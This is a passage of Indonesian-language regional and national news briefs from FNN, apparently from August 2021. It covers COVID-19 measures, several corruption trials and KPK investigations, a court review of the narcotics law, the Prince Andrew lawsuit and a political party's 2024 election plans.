COVID-19 yang berpotensi disebarkan melalui uang tunai. "Jadi, transaksi di tempat-tempat wisata, tempat parkir, dan tempat lain menjadi non-cash. Ini dukungan Bank Mandiri supaya masyarakat dan pelaku ekonomi bisa menjalankan usaha di tengah pandemi COVID-19," ucapnya. Selain dengan MCAS, Bank Mandiri juga bekerja sama dengan SiCepat Ekspres menyediakan makanan seharga hanya Rp5 ribu di aplikasi DigiResto yang gratis ongkos kirim untuk 1.000 pemesan pertama. (mth)

Bupati Tabanan Tinjau Warga Isoman dan Vaksinasi Pelajar di Pupuan

Tabanan, FNN - Bupati Tabanan Komang Gede Sanjaya melakukan peninjauan warga yang melaksanakan isolasi mandiri dan vaksinasi untuk anak-anak pelajar usia 12 tahun di Desa Padangan, Kecamatan Pupuan, Kabupaten Tabanan, Selasa. Kegiatan masa PPKM itu dilakukan Bupati Tabanan saat berkantor di Desa Padangan, Kecamatan Pupuan. Saat "ngantor" di desa tersebut, Bupati Tabanan diterima oleh Camat Pupuan, bersama Perbekel dan Bendesa Adat Padangan serta pihak SMP 4 Pupuan di wilayah Banjar Dinas Padangan Kawan, Padangan, Pupuan. "Kegiatan ini saya lakukan untuk mengetahui secara langsung keadaan masyarakat dan memastikan program-program pemerintah berjalan sebagaimana mestinya, sembari mendengarkan aspirasi masyarakat tentang informasi-informasi penting terkait dengan program pemerintah yang dirasa kurang maksimal," ujarnya. Setelah kunjungan ke desa tersebut, Bupati Sanjaya pun bergegas menuju SMP 4 Pupuan yang terletak di satu lokasi yang sama untuk melihat secara langsung pelaksanaan vaksinasi COVID-19 untuk anak pelajar usia 12 tahun yang berjumlah 212 siswa-siswi SMP 4 Padangan-Pupuan. "Sebagai salah satu upaya untuk mencegah penyebaran virus ini adalah dengan vaksinasi. Kami di jajaran Pemkab bersama Forkopimda secara terus menerus melaksanakan kegiataan vaksinasi kepada masyarakat untuk membentuk imun masyarakat. Vaksin ini wajib kita lakukan,”tambahnya. Setelah meninjau pelaksanaan vaksin, Bupati Tabanan melanjutkan kunjungannya untuk meninjau bangunan sekolah SMP 4 Pupuan di Desa Padangan yang sedang direnovasi, termasuk renovasi gelanggang olahraga di sekolah setempat, sekaligus melakukan perbincangan dengan pihak sekolah terkait pelaksanaan pembangunan. Meskipun di masa pandemi yang mewajibkan Pemkab melaksanakan PPKM, Bupati Sanjaya menginginkan program-program yang dijalankan pemerintah bisa berjalan dengan baik, terutama dari segi pelaksanaan sampai kualitas bangunan. Bupati Sanjaya menambahkan telah melakukan berbagai upaya agar pelaksanaan program pembangunan dan penanganan pandemi COVID-19, terutama di Tabanan berjalan berdampingan dan bisa dilaksanakan dengan baik. "Harapan saya, kedepannya, terutama di dunia pendidikan dan dunia kesehatan, biar seiring sejalan dan maju di Kabupaten Tabanan. Sesuai dengan visi misi Kabupaten Tabanan, yakni mewujudkan Tabanan era baru yang aman unggul dan madani (AUM)," kata Sanjaya. (mth)

Legislator: Masjid Besar Darussalam Bisa Jadi Ikon Religi Putussibau

Putussibau, Kapuas Hulu, FNN - Wakil Ketua DPRD Kabupaten Kapuas Hulu, Provinsi Kalimantan Barat Hairuddin mengatakan keberadaan Masjid Besar Darussalam bisa menjadi ikon religi Kota Putussibau, karena selain selalu ramai didatangi jamaah, masjid tersebut berdiri megah di lokasi strategis sebelum memasuki Kota Putussibau. "Masjid Darussalam itu salah satu ikon religi Kota Putussibau dan menjadi kebanggaan umat Islam di Kabupaten Kapuas Hulu," kata Hairuddin yang juga Ketua Pengurus Masjid Besar Darussalam Putussibau Selatan, saat peresmian Masjid Besar Darussalam di Putussibau Selatan, Selasa. Ia menyatakan Masjid Besar Darrusalam itu memiliki sejarah panjang hingga akhirnya bisa berdiri megah saat ini. Menurut dia pertama kali Masjid Darussalam dibangun pada 1986, dengan semangat gotong royong masyarakat. "Saya waktu itu masih remaja, saya ingat betul warga gotong royong membawa pasir menggunakan kantong palstik, itu perjuangan luar biasa," kata Hairuddin. Sejak Tahun 1986, kata dia, terus berganti kepengurusan masjid tersebut, bahkan sudah ada yang meninggal dan beberapa pendiri juga masih ada yang hidup. Lalu, pada 22 Oktober 2008 Masjid Darussalam mulai dibesarkan dengan proses panjang, terutama dalam pembebasan lahan dan Tahun 2021 ini kemudian dibangun masjid yang cukup megah. "Saya diberikan amanah menjadi Ketua Pengurus Masjid Besar Darussalam ini, semoga diberikan kemudahan dan amanah dalam mengembangkan masjid tersebut ke depannya, yang rencana akan terus dibangun hingga Tahun 2023," katanya. Ia mengatakan dalam pembangunan Masjid Besar Darussalam itu juga tidak terlepas dari bantuan Pemerintah Kabupaten Kapuas Hulu. "Yang kita resmikan saat ini yaitu Masjid Darussalam berubah menjadi Masjid Besar Darussalam, jika di provinsi namanya masjid raya, di kabupaten masjid agung dan di kecamatan itu di sebut masjid besar, Alhamdulillah Darussalam menjadi Masjid Besar Darussalam Putussibau Selatan," demikian Hairuddin. (mth)

Indef: Pengembangan Industri Kecil Harus Masif untuk Mendukung Ekspor

Jakarta, FNN - Peneliti Institute for Development on Economics and Finance (Indef) Eisha Rachibini meminta pengembangan industri kecil harus bisa lebih masif agar sektor tersebut bisa berpartisipasi lebih dalam kegiatan ekspor. "Di sektor ini memang terdapat potensi untuk dikembangkan," kata Eisha dalam diskusi virtual di Jakarta, Selasa. Menurut dia, hal tersebut mengingat industri kecil di Indonesia cenderung terkonsentrasi kepada subsektor yang membutuhkan tenaga kerja banyak, seperti industri makanan, pakaian jadi, tekstil, dan furnitur. Namun, efisiensi produksi industri kecil di Tanah Air masih rendah, seperti industri tekstil dan motor. "Dengan demikian, industri tersebut butuh didukung supaya efisiensinya bisa lebih tinggi," ujar Eisha. Selain itu, Eisha menyebutkan akses keuangan juga diperlukan dalam mengembangkan industri kecil, mengingat usaha kecil biasanya membutuhkan dukungan dana untuk melakukan ekspansi. Selain itu, akses terhadap teknologi digital juga diperlukan bagi industri kecil agar bisa bersaing di pasar domestik maupun internasional. "Meski dari rumah, saat ini masyarakat tetap bisa berbelanja online, sehingga online ini mampu meningkatkan kegiatan ekonomi," tutup Eisha. (mth)

Mahkamah Agung Vonis Penjara Dua Terdakwa Korupsi di Bank NTT

Kupang, FNN - Mahkamah Agung Republik Indonesia memvonis hukuman penjara terhadap dua terdakwa dalam kasus korupsi dana kredit investasi dan modal kerja pada Bank NTT Cabang Surabaya yang merugikan negara lebih dari Rp128 miliar. "Berdasarkan petikan putusan kasasi dari Mahkamah Agung RI dua orang terdakwa divonis hukuman penjara dalam kasus korupsi fasilitas kredit di Bank NTT Cabang Surabaya," kata Kepala Seksi Penerangan Hukum dan Humas Kejaksaan Tinggi Nusa Tenggara Timur Abdul Hakim di Kupang, Selasa. Terdakwa Muhammad Ruslan divonis 8 tahun penjara dengan Putusan Nomor 2554 K/Pid.Sus/2021 tanggal 9 Agustus 2021. Selain itu, MA menghukum Muhammad Ruslan dengan denda sebesar Rp500 juta atau subsider 6 bulan kurungan dan membayar uang pengganti sebesar Rp9.509.924.588,00. Terhadap terdakwa Bong-Bong Suharso, MA memvonis 7 tahun penjara dan denda sebesar Rp750 juta atau subsider selama 6 bulan kurungan. Dengan adanya putusan kasasi dari Mahkamah Agung, menurut Abdul Hakim, Kejati NTT dan Kejaksaan Negeri Kota Kupang akan segera melakukan eksekusi terhadap kedua terdakwa untuk menjalani hukuman penjara yang telah ditetapkan MA. "Putusan itu sudah final sehingga kedua terdakwa segera menjalankan hukuman sesuai dengan putusan MA," kata Abdul Hakim. (mth)

Jayawijaya Berhasil Tarik Kembali 409 Aset Rumah Dinas

Wamena, FNN - Pemerintah Kabupaten Jayawijaya, Provinsi Papua, berhasil menarik kembali 409 aset rumah dinas yang sebelumnya ditempati pensiunan aparatur sipil negara (ASN) maupun mereka yang sudah tidak lagi bekerja di Pemda Jayawijaya. Kepala Dinas Perumahan dan Permukiman Jayawijaya Ludia Logo di Wamena, Ibu Kota Kabupaten Jayawijaya, Selasa, mengatakan 409 ini merupakan sebagian dari 551 rumah dinas yang harus ditarik. "Dari jumlah keseluruhan sebanyak 551, ada 142 rumah dinas yang belum ditarik karena masih dihuni oleh pegawai yang statusnya sudah purna bhakti," katanya. Pemerintah terus membangun koordinasi dengan kejaksaan serta kepolisian agar separuh dari rumah dinas yang masih ditempati pegawai tidak aktif itu bisa segera ditarik. "Tetapi penarikan aset itu lebih ke ranahnya teman-teman di bidang aset. Kami di perumahan hanya menyiapkan data aset rumah dinas," katanya. Pihaknya juga sedang mendorong 151 lokasi tanah untuk mendapat sertifikat atas nama pemerintah. "Sedangkan 203 lokasi yang merupakan aset pemda itu sudah disertifikatkan," katanya. 151 lokasi atau tanah-tanah ini dalam bentuk fasilitas umum, seperti puskesmas, pustu, sekolah dan tersebar di 40 distrik se-Kabupaten Jayawijaya. (mth)

PN Bandung Siapkan Jadwal Sidang Bupati Bandung Barat Aa Umbara

Bandung, FNN - Pengadilan Negeri Bandung menyiapkan jadwal sidang tindak pidana korupsi Bupati Bandung Barat nonaktif Aa Umbara usai menerima pelimpahan berkas perkara dari Komisi Pemberantasan Korupsi (KPK). Panitera Muda Tipikor PN Bandung Yuniar mengatakan bahwa saat ini masih dalam penunjukan hakim yang akan memimpin jalannya sidang Aa Umbara tersebut. "Jadwal belum ada, sekarang baru mau penunjukan hakim," kata Yuniar di Bandung, Jawa Barat, Selasa. Setelah hakim ditunjuk, kata dia, jadwal sidang Aa Umbara pun perlu disesuaikan. Pasalnya, para hakim memiliki jadwal sidang yang padat. "Kalau enggak padat (biasanya berselang) satu minggu (untuk sidang)," katanya menjelaskan. Adapun perkara Aa Umbara telah teregistrasi di PN Bandung dengan Nomor Perkara 55/pid.sus-tpk/2021/pn bdg. Selain Aa, ada juga terdakwa terkait lainnya, yakni Andri Wibawa dengan Nomor Perkara 56/pid.sus-tpk/2021/pn bdg dan M Totoh Gunawan dengan Nomor Perkara 57/pid.sus-tpk/2021/pn bdg. Sebelumnya, KPK pada hari Senin (9/8) melimpahkan berkas perkara tiga terdakwa perkara korupsi pengadaan bantuan sosial (bansos) di Kabupaten Bandung Barat ke Pengadilan Tindak Pidana Korupsi (Tipikor) Bandung. Tiga terdakwa, yaitu Bupati Bandung Barat nonaktif Aa Umbara Sutisna, Andri Wibawa dari pihak swasta/anak Aa Umbara, dan M. Totoh Gunawan selaku pemilik PT Jagat Dirgantara (JDG) dan CV Sentral Sayuran Garden City Lembang (SSGCL). Dalam konstruksi perkara, KPK menjelaskan pada bulan Maret 2020 karena adanya pandemi COVID-19, Pemkab Bandung Barat menganggarkan sejumlah dana untuk penanggulangan pandemi COVID-19 dengan melakukan refocusing anggaran APBD 2020 pada belanja tidak terduga (BTT). Dari kegiatan pengadaan tersebut, Aa Umbara diduga telah menerima uang sejumlah sekitar Rp1 miliar yang sumbernya disisihkan oleh M. Totoh dari nilai harga per paket sembako yang ditempelkan stiker bergambar Aa Umbara untuk dibagikan kepada masyarakat Kabupaten Bandung Barat. Selain itu, Aa Umbara juga diduga menerima gratifikasi dari berbagai dinas di Pemkab Bandung Barat dan para pihak swasta yang mengerjakan berbagai proyek di Kabupaten Bandung Barat sejumlah sekitar Rp1 miliar. (mth)

Hakim Mahkamah Konstitusi Minta Pemerintah Hadirkan Ahli Dalam Uji Materi UU Narkotika

Jakarta, FNN - Hakim Mahkamah Konstitusi (MK) Suhartoyo meminta pemerintah menghadirkan ahli yang relevan untuk memberikan penjelasan yang lebih lengkap dalam sidang pembuktian uji materi UU Narkotika berikutnya. "Ketika (agenda sidang) pembuktian mohon Mahkamah diberikan pandangan pemerintah bisa mendatangkan ahli pengobatan terkait narkotika golongan I dan ahli yang bisa memberikan data," kata Suhartoyo dalam sidang uji materi Undang-undang Nomor 35 Tahun 2009 tentang Narkotika dengan agenda mendengarkan keterangan DPR dan presiden, Selasa, 10 Agustus 2021. Suhartoyo mengatakan, kehadiran ahli tersebut untuk memberikan pandangan yang lebih komprehensif mengenai irisan antara kekhawatiran pemerintah mengenai penggunaan narkotika untuk pengobatan dan manfaat narkotika golongan I yang kemungkinan punya dampak positif meskipun harus sangat terbatas tata cara penggunaannya. Dia menerangkan, Pasal 8 ayat (2) UU Narkotika sudah membuka bahwa narkotika golongan I dapat digunakan dalam keperluan terbatas itu bisa diberikan dan ada ambiguitas di dalam norma Pasal 6 dan Pasal 8 ayat (1) dan ayat (2). Kuasa hukum presiden atau pemerintah Ariani sebelumnya menjelaskan dampak-dampak negatif dari narkotika golongan I, termasuk ganja ketika disalahgunakan baik untuk tujuan rekreasi maupun pengobatan. Ariani menjelaskan, kondisi geografis Indonesia yang luas juga menyulitkan pengawasan atas penyalahgunaan narkotika. Dia mengatakan, ganja tidak digunakan untuk tujuan medis di Indonesia karena belum ada bukti manfaat klinis. "Dampak yang jauh lebih merugikan dibandingkan manfaatnya. Penggunaan ganja memiliki kecenderungan digunakan untuk kebutuhan rekreasi ketimbang medis," katanya. Oleh karena itu, Ariani mengatakan, pemerintah memohon kepada majelis Hakim Konstitusi untuk memberikan keputusan yakni menerima keterangan presiden secara keseluruhan dan menyatakan para pemohon tidak mempunyai kedudukan hukum. Selain itu, pemerintah juga memohon kepada Hakim Konstitusi menolak permohonan pengujian para pemohon seluruhnya atau menyatakan permohonan pengujian para pemohon tidak dapat diterima, dan menyatakan permohonan pengujian UU Narkotika tidak bertentangan dengan UUD 1945. Sebelumnya, uji materi penjelasan Pasal 6 ayat (1) huruf a dan Pasal 8 ayat (1) Undang-undang Nomor 35 Tahun 2009 tentang Narkotika (UU Narkotika) terhadap UUD 1945 diajukan oleh Dwi Pertiwi, Santi Warastuti, Nafiah Murhayanti, Perkumpulan Rumah Cemara, Institute for Criminal Justice Reform (ICJR) dan Perkumpulan Lembaga Bantuan Hukum Masyarakat atau Lembaga Bantuan Hukum Masyarakat (LBHM). Norma yang diujikan adalah Penjelasan Pasal 6 ayat (1) huruf a dan Pasal 8 ayat (1) UU Narkotika. Dalam sidang 20 April 2021 lalu, pemohon menyampaikan narasi ilmiah sehubungan dengan perbandingan dari negara-negara lainnya di dunia yang menggunakan terapi ganja sebagai bagian dari pengobatan untuk penderita celebral palsy atau lumpuh otak. Menurut pemohon, ketentuan penjelasan Pasal 6 ayat (1) huruf a dan Pasal 8 ayat (1) UU Narkotika tersebut telah mengakibatkan hilangnya hak para pemohon untuk mendapatkan manfaat pengembangan ilmu pengetahuan dan teknologi berupa hasil penelitian tentang manfaat kesehatan dari narkotika golongan I. (MD).

Wapres Indonesia Harus Hijrah Dari Ketergantungan Produk Impor

Jakarta, FNN - Wakil Presiden Ma’ruf Amin mengatakan rakyat Indonesia harus berhijrah dari ketergantungan produk impor. Caranya, membangun kemandirian bangsa dengan mengembangkan produk dalam negeri. "Kita harus berhijrah dari ketergantungan terhadap produk-produk impor. Kita membangun kemandirian bangsa dan berdikari di bidang ekonomi," kata Wapres saat memberikan sambutan pada acara Festival Satu Muharram 1443 H Provinsi Sumatera Barat secara virtual, Selasa, 10 Agustus 2021. Wapres melihat ikhtiar hijrah ekonomi di Provinsi Sumatera Barat semakin kuat. Hal tersebut terlihat dengan adanya penguatan ekonomi dan keuangan syariah di daerah tersebut. "Saya melihat ikhtiar hijrah sedang bergelora di Sumatera Barat. Melalui penguatan ekonomi dan keuangan syariah yang Insya Allah akan bermanfaat bagi kemajuan dan kesejahteraan masyarakat Sumatera Barat," katanya, sebagaimana dikutip dari Antara. Bagi umat Islam, lanjut Ma’ruf Amin, peristiwa hijrah memiliki makna penting yakni sebagai momentum untuk menuju kondisi lebih baik dengan transformasi dan reformasi tatanan yang ada. Oleh karena itu, Ma’ruf berharap semangat hijrah juga dapat menginspirasi seluruh masyarakat supaya bertransformasi menuju Indonesia Maju yang bebas dari kemiskinan, kebodohan dan keterbelakangan. "Semangat hijrah menginspirasi kita semua agar bertransformasi menuju Indonesia Maju yang kuat dan bermartabat. Kita harus berhijrah dari kemiskinan, kebodohan dan keterbelakangan," tegasnya. Gubernur Sumatera Barat mengatakan, pengembangan ekonomi dan keuangan syariah di provinsi tersebut salah satunya ialah Gerakan Minangkabau Berwakaf. "Itu adalah salah satu wujud nyata dukungan Pemda Sumbar terhadap pemberdayaan ekonomi masyarakat melalui instrumen wakaf. Provinsi Sumbar telah ditunjuk menjadi salah satu pilot project wakaf di tingkat nasional oleh presiden," ujarnya. (MD).

Pangeran Andrew Digugat Lakukan Pelecehan Seksual

New York, FNN - Pangeran Andrew dari Kerajaan Inggris digugat pada Senin (9/8/2021) karena diduga telah tiga kali melakukan pelecehan seksual kepada seorang perempuan. Perempuan itu, Virginia Giuffre, mengklaim dirinya "dijual" oleh mendiang Jeffrey Epstein kepada sang pangeran. Dalam gugatan sipil di Pengadilan Distrik Manhattan, AS, Giuffre menuduh Andrew telah melakukan pelecehan seksual kepadanya sekitar dua dekade lalu saat dia masih berusia 18 tahun. Menurut dokumen gugatan, Giuffre mengatakan Andrew memaksanya melakukan hubungan seksual di luar kehendaknya di rumah teman dekat Epstein, Ghislaine Maxwell, di London. Juru bicara pangeran tidak bisa dimintai komentarnya. Andrew mengatakan pada BBC pada November 2019, dia tidak ingat pertemuannya dengan Giuffre. Ia tidak melakukan hubungan seksual dengan perempuan itu di rumah Maxwell. Sebab, pada saat yang sama dia telah kembali ke rumah setelah menghadiri pesta seorang anak. Dokumen gugatan mengatakan, Andrew juga melecehkan Giuffre di mansion milik Epstein di kawasan Upper East Side, Manhattan, dan di pulau pribadi Epstein di Kepulauan Virgin. Giuffre mengatakan, Epstein memeliharanya sebagai "budak seks" dengan bantuan Maxwell. Dalam acara "Panorama" BBC dia mengatakan bahwa Epstein membawanya ke London untuk bertemu Andrew. Gugatan Giuffre, yang ditandatangani pengacara David Boies, menuduh Andrew telah melakukan kekerasan dan tekanan emosional yang disengaja. Dalam gugatan itu, Giuffre menuntut kompensasi dan ganti rugi yang tidak disebutkan besarannya. Menutur Antara, Giuffre menggugat Andrew berdasarkan UU Korban Anak, sebuah hukum di negara bagian New York. "Saya meminta pertanggungjawaban Pangeran Andrew atas apa yang dilakukannya terhadap saya," kata Giuffre. "Yang berkuasa dan yang kaya tidak terbebas dari tanggung jawab atas perbuatannya. Saya harap korban-korban lainnya akan melihat bahwa tidak mungkin untuk hidup dalam kebisuan dan ketakutan. Akan tetapi, harus merebut kembali hidup dengan berbicara dan menuntut keadilan." Pengacara Maxwell belum memberi tanggapan. Kliennya bukan seorang tergugat dalam kasus itu. Epstein, 66 tahun, bunuh diri di penjara Manhattan pada 10 Agustus 2019, ketika menunggu pengadilan kasus perdagangan seks terhadap dirinya. Sebuah dana untuk membayar kompensasi atas pelecehan seksual Epstein telah menyelesaikan proses pembayaran senilai lebih dari 121 juta dolar AS kepada 138 orang, kata pengurus dana itu Senin. Maxwell mengaku tidak bersalah dalam kasus perdagangan seks dan merawat gadis-gadis di bawah umur bagi Epstein untuk dilecehkan. Sidang pengadilan terhadap dirinya akan dimulai November. (MD).

Harun Masiku tidak Masuk Situs Interpol Karena Alasan Teknis

Jakarta, FNN - Kepolisian Republik Indonesia (Polri) menjelaskan alasan kenapa nama mantan calon legislatif PDIP Harun Masiku tidak masuk dalam situs resmi National Central Bureau (NCB) Interpol setelah diterbitkannya red notice. Sekretaris NCB Hubungan Internasional (Hubiter) Polri Brigadir Jenderal Amur Chandra mengatakan, hal tersebut karena alasan teknis dari penyidik Polri maupun KPK yang tidak memilih kolom publikasi untuk umum red notice Harun Masiku yang ada pada kolom bawah situs Interpol Lyon. "Dalam mekanisme kami meminta kepada Interpol dalam menerbitkan 'red notice' itu, pada kolom bawah Interpol Lyon itu menyertakan dua kolom permintaan apakah 'red notice' itu di-'publish' atau tidak, pilihan itu tergantung penyidik kami yang meminta," kata Amur, di Markas Besar Polri, Jakarta, Selasa, 10 Agustus 2021. Amur menjelaskan, mekanisme penerbitan red notice Harun Masiku sudah selesai dan penyidik KPK maupun Polri memilih untuk tidak mempublikasikannya kepada masyarakat umum. Menurut dia, jika penyidik meminta untuk di-publish maka red notice Harun Masiku masuk ke situs yang bisa dilihat orang umum. "Jadi orang yang melihat website (situs) itu melihat bisa mengetahui," ujarnya sebagaimana dikutip dari Antara. Amur memastikan, walau red notice tersebut tidak dipublikasikan untuk umum, tetapi sudah masuk dalam jaringan i427 Interpol yang tersebar ke 124 negara anggota. Data tersebut masuk ke dalam data setiap pintu perlintasan. "Jadi pada saat itu penyidik minta tidak untuk di-publish tentunya keinginan untuk percepatan," kata Amurm Menurut Amur, akan sulit lagi jika penyidik meminta untuk red notice Harun Masiku dipublikasikan. Hal itu karena akan ada pertanyaan dari Interpol Lyon yang berkedudukan di Prancis yang dikhawatirkan memperlambat proses pencekalannya. "Apabila minta dipublis, Intepol Lyon akan bertanya kembali ke penyidik, kenapa ini minta di-publish. Apakah perkaranya sangat besar dan memerlukan penanganan segera? Banyak nanti akan 'tiktoknya', pertanyaan berulang kembali. Sedangkan penyidik yang inginkan percepatan," tutur Amur. Alasan lain tidak dipublikasi-nya pencekalan terhadap Harun Masiku, karena penyidik ingin ada kerahasiaan, menghindari masyarakat umum melakukan hal-hal yang tidak diinginkan dengan mengambil data dari situs tersebut. "Kalau masyarakat umum melihat itu nanti, kami khawatirkan ada sesuatu hal yang dibikin-bikin. Bisa mengambil dari situs itu dan bisa memanfaatkan hal-hal yang tidak diinginkan. Jadi, kami pilih tidak di-publish," ujar Amur. Harun Masiku, tersangka kasus dugaan suap terkait penetapan anggota DPR RI terpilih tahun 2019-2024 yang sudah berstatus daftar pencarian orang (DPO) sejak Januari 2020. (MD).

Perwakilan 75 Pegawai KPK Gugat Hasil TWK ke Komisi Informasi Pusat

Jakarta, FNN - Perwakilan 75 orang pegawai KPK yang dinyatakan tidak lolos tes wawasan kebangsaan (TWK) menggugat keterbukaan informasi terkait dengan hasil tes tersebut ke Komisi Informasi Pusat (KIP). "Pada tanggal 9 Agustus 2021, kami perwakilan 75 pegawai KPK mendaftarkan sengketa informasi ke Komisi Informasi Pusat. Kami terpaksa mengadukan karena sampai saat ini kami pegawai yang 75 tidak diberikan hasil dari tes wawasan kebangsaan," kata perwakilan Tim 75 Hotman Tambunan di Jakarta, Selasa. Hotman menyebutkan ada 11 orang pegawai KPK yang mengajukan gugatan. Sesuai dengan Pasal 18 Ayat (2) Huruf a Undang-Undang Nomor 14 Tahun 2008 tentang Keterbukaan Informasi Publik, kata Hotman, masing-masing pegawai yang mengajukan permohonan informasi dapat memperoleh data data pribadi, seperti hasil tes wawasan kebangsaan. "Syaratnya adalah memberikan persetujuan tertulis kepada pejabat pengelola informasi dan data (PPID) untuk mengakses informasi dimaksud. Para pegawai KPK teleh mengajukan permohonan melalui mekanisme PPID sesuai dengan undang-undang. Namun, KPK tetap tidak memberikan informasi hasil TWK," ungkap Hotman. Informasi yang diajukan oleh para pegawai KPK, antara lain adalah dasar hukum penentuan unsur-unsur pengukuran asesmen TWK, dasar hukum penentuan kriteria, kertas kerja asesor, berita acara penentuan lulus atau tidak lulus, dan hasil asesmen TWK masing-masing pegawai. Gugatan keterbukaan informasi ini, kata dia, akhirnya dilakukan karena para pegawai telah mengajukan permohonan informasi publik terkait dengan hasil TWK melalui mekanisme PPID KPK dalam rentang waktu 28 Mei—9 Juni 2021. Selanjutnya, pihaknya mengajukan keberatan ke atasan PPID KPK, yakni Sekretaris Jenderal. Hasilnya, respons yang disampaikan oleh KPK dalam rentang waktu 5—6 Agustus 2021, permohonan informasi hasil TWK masing-masing pegawai KPK tidak dapat diberikan. "Alasannya, KPK merujuk pada BKN bahwa hasil TWK pegawai KPK masuk dalam klasifikasi rahasia negara," jelas Hotman. Menurut Hotman, klasifikasi tersebut bertentangan dengan yang terjadi pada tanggal 5 Mei 2021. "Hasil tes wawasan kebangsaan tersebut telah dipertunjukkan kepada beberapa pegawai struktural namun tidak ada akses sama sekali bagi 75 pegawai yang dinyatakan tidak memenuhi syarat," ungkap Hotman. Padahal, pada pertengahan Juni 2021, anggota KIP Arif Kuswardono menyatakan bahwa para pegawai berhak mengakses hasil TWK. "Hasil asesmen memang menjadi informasi yang dikecualikan untuk diumumkan kepada publik. Namun, informasi itu bersifat umum dan berhak diterima oleh setiap peserta tes," tambah Hotman. Untuk tetap bisa mengakses hasil TWK sesuai dengan UU Nomor 14 Tahun 2008, para pegawai mendaftarkan sengketa informasi kepada Komisi Informasi. "Harapannya para pegawai bisa mendapatkan akses informasi hasil TWK sebab, hasil TWK yang diikuti oleh seluruh pegawai KPK telah menetapkan 75 pegawai KPK berstatus tidak memenuhi syarat (TMS)," ungkap Hotman. Dampak dari status TMS tersebut adalah keluarnya SK No. 652 Tahun 2021 dan Berita Acara per 25 Mei 2021 yang ditandatangani oleh enam pimpinan lembaga. Dalam SK 652 tersebut, pegawai berstatus TMS diperintahkan untuk menyerahkan tugas dan tanggung jawab kepada atasan langsung, sedangkan dalam Berita Acara tertanggal 25 Mei 2021, memberhentikan pegawai paling lambat sampai dengan 1 November 2021. "Disamping itu hasil TWK telah memberi stigma kepada 51 pegawai TMS sebagai warga negara yang tidak bisa dibina sehingga sudah sepantasnya, pegawai KPK yang dinyatakan tidak lulus mengetahui alasan-alasan yang disimpulkan oleh para asesor melalui asesmen TWK tersebut," kata Hotman. (sws)

Keuletan Partai Gelora Ikut Jejak Nabi Daud

Jakarta, FNN - Partai Gelombang Rakyat Indonesia optimis menghadapi Pemilu 2024 mendatang, Sebab krisis dipandang sebagai peluang, dan keterbatasan menjadi alasan bagi Partai Gelora untuk bekerja lebih giat lagi. Agama kita mengajarkan, kuncinya ada empat, yaitu ketenangan, keuletan, keterarahan, dan kebangkitan. Partai Gelora ditakdirkan hadir di tengah krisis, Insya Allah kita optimis menghadapi pemilu 2024 yang akan datang, kata Anis Matta, Ketua Umum Partai Gelora Indonesia. Hal itu disampaikan Anis Matta dalam Rakornas VII Partai Gelora Indonesia membahas Agenda Kerja 32 Bulan Menuju Sukses Pemilu 2024 dan Arah Baru Indonesia' pada Kamis (5/8/2021) malam. Rakornas VII yang di selenggarakan secara virtual ini dihadiri Wakil Ketua Umum Partai Gelora Indonesia Fahri Hamzah, Sekretaris Jenderal Mahfuz Sidik, Bendahara Umum Ahmad Rilyadi, fungsionaris DPN, MPN, MP, DPW dan DPD se-Indonesia. Dalam situasi sekarang, menurut Anis Matta, manusia perlu terus mencari ilham bagaimana cara menghadapi krisis termasuk dalam strategi pemenangan Pemilu. Seperti dalam kisah Nabi Daud yang mengalahkan Jalut, karena ketenangan, keuletannya dan keterarahannya. Bani Israil itu menghadapi tantangan besar dari klan besar paling ditakuti dipimpin Raja Jalut katanya. Nabi Daud kemudian menggunakan strategi untuk mengalahkan Raja Jalut, yakni mencari kelemahan lawan sebelum bertanding atau bertempur. Nabi Daud menyadari postur tubuhnya yang kecil, dibandingkan Raja Jalut yang tinggi besar. Nabi Daud juga tidak menggunakan pedang dan baju besinya sebagai sumber kekuatan dan tidak memilih bertempur dari jarak dekat. Tapi dia pakai batu, dan batu itu harus mengenai sasaran yang mematikan, yaitu jidat dan akhirnya Jalut bisa dikalahkan, katanya. Anis Matta menilai ada pelajaran yang bisa diambil dari kisah tersebut, dimana oleh barat telah diangkat dalam sebuah film berjudul 'David and Golith'. Perlawanan Nabi Daud melawan Jalut ini, saya selalu mendapatkan pelajaran. Kelemahan kita adalah kekuatan kita, dan kekuatan musuh adalah kelemahannya, ujar Anis Matta. Artinya, dalam memandang krisis ini kita harus fokus pada peluang yang tersedia. Bukan sebaliknya, selalu memandang keterbatasan, sehingga menurunkan performance yang tinggi dalam bekerja. Pesannya jelas kebangkitan, kita harus bangkit. Krisis itu seperti awan yang gelap, mungkin dia menurunkan hujan atau badai. Dan mereka yang tetap bekerja dalam situasi krisis akan mendapatkan keuntungan besar, jika krisis reda,ujarnya. Karena itu, Anis Matta yakin elektablitas dan popularitas Partai Gelora akan terus mengalami peningkatan menjelang Pemilu 2024 mendatang Jika elektablitas Partai Gelora sudah pada angka 1.5 persen saat ini, maka sebelum Pemilu 2024 target elektabilitas 4 persen dan lolos Parliamentary Threshold akan tercapai. "Insya Allah Partai Gelora akan siap menghadapi Pemilu, pungkasnya.

KPK Panggil Wakil Ketua DPRD DKI M Taufik Saksi Kasus Tanah di Munjul

Jakarta, FNN - KPK, Selasa, memanggil tiga saksi, termasuk Wakil Ketua DPRD DKI Jaya, M Taufik, dalam penyidikan kasus dugaan korupsi pengadaan tanah di Munjul, Jakarta Timur. Ketiganya diagendakan diperiksa untuk tersangka mantan Direktur Utama Perumda Pembangunan Sarana Jaya, Yoory Corneles Pinontoan, dan kawan-kawan. "Hari ini, pemeriksaan saksi tindak pidana korupsi terkait pengadaan tanah di Munjul, Kelurahan Pondok Ranggon, Kecamatan Cipayung, Jakarta Timur, DKI Jakarta tahun 2019 untuk tersangka YRC dan kawan-kawan," kata Plt Juru Bicara KPK, Ali Fikri, dalam keterangannya di Jakarta, Selasa. Dua saksi lain yaitu Pelaksana Harian Badan Pembinaan Badan Usaha Milik Daerah periode 2019, Riyadi, dan Kasubbid Pelaporan Arus Kas Badan Pengelola Keuangan Daerah DKI Jaya, Sudrajat Kuswata. Pemeriksaan dilakukan di Gedung KPK, Jakarta. Selain Pinontoan, KPK juga menetapkan empat tersangka lain yaitu Direktur PT Adonara Propertindo, Tommy Adrian, Wakil Direktur PT Adonara Propertindo, Anja Runtuwenas, Direktur PT Aldira Berkah Abadi Makmur, Rudy Hartono Iskandar, dan satu tersangka korporasi PT Adonara Propertindo. KPK menduga ada kerugian keuangan negara setidak-tidaknya Rp152,5 miliar. Awalnya, Sarana Jaya yang bergerak di bidang properti tanah dan bangunan mencari tanah di Jakarta yang akan dijadikan unit bisnis ataupun bank tanah. Pada 4 Maret 2019, Runtuwenas bersama-sama Adrian dan Iskandar menawarkan tanah di 